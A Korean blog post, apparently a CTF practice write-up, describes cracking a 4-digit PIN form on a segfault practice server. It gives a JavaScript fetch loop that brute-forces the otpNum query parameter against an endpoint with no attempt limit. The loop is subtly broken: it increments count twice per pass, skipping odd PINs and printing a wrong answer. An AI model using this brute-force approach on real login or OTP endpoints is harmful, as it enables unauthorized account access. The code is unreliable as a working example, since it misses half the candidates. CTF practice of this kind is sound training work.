개발/코딩테스트

[CTF | JavaScript] segfault practice - Pin Code Crack

prpn97 2024. 5. 16. 01:06

문제

문제는 간단했다. 핀번호 4자리를 입력하는 문제다. 

해결과정

 

먼저 1234를 때렸는데 get방식으로 쿼리에 넣어서 보내고 있음을 확인했고, 혹시 틀렸을 때 제한이 있는지 문구는 없긴 했지만 여러번 시도했는데 딱히 제약은 없었다. 그러면 뭐 0부터 때려보는게 곧 답인 것 같다.

 

     let count = 0;
      while (true) {
        const response = await fetch(
          `http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum=${count}`
        );
        const text = await response.text();
        console.log("응답값: ", text);
        if (!text.includes("Login Fail")) {
          console.log("Login 발생!");
          break; // 로그인 실패 이외의 메시지가 나오면 반복 중지
        }
        count++;
        console.log('정답: ',count++)
      }

간단하게 fetch 로 0부터 정직하게 시도했다. 사실 더 빠르게 하려면 0000부터 4자리를 맞춰야겠지만 어차피 O(N)에 10000개 이하라서 그닥 큰 차이는 없으니 그냥 0부터 시도했다. count를 늘리면서 Login Fail 이 포함되지 않는 응답값을 찾았다. 

 

728x90